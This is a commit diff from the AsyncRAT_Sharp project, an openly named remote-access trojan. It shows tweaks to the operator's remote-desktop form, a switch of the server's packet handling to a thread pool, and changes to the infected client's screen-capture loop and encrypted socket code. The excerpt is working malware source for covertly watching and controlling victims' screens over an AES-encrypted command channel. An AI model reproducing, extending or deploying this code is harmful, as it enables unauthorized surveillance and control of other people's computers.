This commit is contained in:
NYAN CAT 2019-03-29 14:15:41 -07:00
parent 6557356a14
commit 4719d0042b
6 changed files with 11 additions and 9 deletions

View File

@ -44,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true";
C.BeginSend(msgpack.Encode2Bytes());
decoder = new UnsafeStreamCodec(80);
decoder = new UnsafeStreamCodec(60);
}
}

View File

@ -13,10 +13,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
class HandlePacket
{
private static cGeoMain cNewGeoUse = new cGeoMain();
public static void Read(Clients Client, byte[] Data)
public static void Read(object Obj)
{
try
{
object[] array = Obj as object[];
byte[] Data = (byte[])array[0];
Clients Client = (Clients)array[1];
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)

View File

@ -7,6 +7,8 @@ using AsyncRAT_Sharp.Handle_Packet;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Drawing;
using System.Diagnostics;
using System.Threading;
namespace AsyncRAT_Sharp.Sockets
{
@ -65,6 +67,7 @@ namespace AsyncRAT_Sharp.Sockets
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
BufferRecevied = true;
}
}
@ -74,12 +77,10 @@ namespace AsyncRAT_Sharp.Sockets
{
await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
await Task.Run(() =>
{
try
{
HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray()));
ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this });
}
catch (CryptographicException)
{
@ -94,7 +95,6 @@ namespace AsyncRAT_Sharp.Sockets
MS.Dispose();
MS = new MemoryStream();
BufferRecevied = false;
});
}
else
Buffer = new byte[Buffersize - MS.Length];

View File

@ -17,10 +17,9 @@ namespace Client.Handle_Packet
{
try
{
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
while (RemoteDesktop_Status == true)
{
Thread.Sleep(1);
if (!ClientSocket.Client.Connected) break;
Bitmap bmp = GetScreen();
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);

View File

@ -123,7 +123,7 @@ namespace Client.Sockets
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///");
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)